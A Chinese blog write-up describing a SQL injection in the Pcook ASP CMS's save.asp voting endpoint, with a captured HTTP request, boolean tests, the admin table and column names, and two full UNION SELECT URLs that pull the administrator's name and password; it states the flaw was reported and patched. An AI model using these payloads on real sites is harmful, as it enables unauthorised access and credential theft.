在chinaz转悠的时候 看到了今天发布的一款CMS 叫 Pcook cms 下载量一天就达到了2000多
这么的受人关注 不知道安全性怎么样 于是本地临时搭建asp环境进行测试
还是从代码入手 读代码最能发现问题所在
首先看的是 class.asp 代码如下:

这里 使用 CheckStr对id的值进行检查 彻底杜绝了注入 而且 如果ID的值为空的话 就弹出一框框 提示不正确的ID
然后自动跳转到首页
继续看代码 功夫不负有心人 终于在 dig.asp这里找到了一处
对ID的值没过滤 但是当我实际测试的时候却出现了问题 这个dig.asp是个投票相关的页面
但是这里的投票不同于其他程序的投票模块 这里是通过一个js把本地提交的一个单击事件 提交到save.asp
所以 利用起来不是很容易 要手工 工具是检测不出来的 投票模块如图 
这个好像是借鉴的 ACTCMS的 估计ACTCMS也有同样的问题
这里 我使用 wsockexport抓包来分析 打开一个文章页面 使用 wsockexport对该页面提交的信息抓包
然后我们投一票 看wsockexport抓到的数据 如图 
出来了 给大家看下抓的数据 如下
GET /save.asp?id=7&n=0.8541865723140508 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/Article/?7.html
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 127.0.0.1
Connection: Keep-Alive
Cookie: PLEHJTBHQLPZXLUAOUAQ=AHDTRJWGGSZGMKATSMVUXHHZTXJSYNRAINCFPKQD
看第一行 GET /save.asp?id=7&n=0.8541865723140508 HTTP/1.1 我们把没用的数据去掉 就是
/save.asp?id=7 这里 存在漏洞 and 1=1 显示一个数字 and 1=2 显示nodata 但是要手工 啊D检测不出来 其他的也是 而且 特征字符也是变化的
看了下数据库 管理员表名是 pcook_admin 字段分别是 admin_name admin_pass 手工注入我就不多说了
大家看的时候可以自己拿着去手工 我这里注射成功 :
http://127.0.0.1/save.asp?id=3%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,admin_name,16,17,18,19%20from%20pcook_admin 管理员用户名
http://127.0.0.1/save.asp?id=3%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,admin_pass,16,17,18,19%20from%20pcook_admin 管理员密码 
OK 文章就写到这里 文章有错误的地方 还望各位大哥指出。漏洞我已经提交给官方修补了。
官方已经修复这个问题~感谢Jshell的测试。
原文地址:http://www.jshell.cn/show.asp?id=14
下一页是解决方法





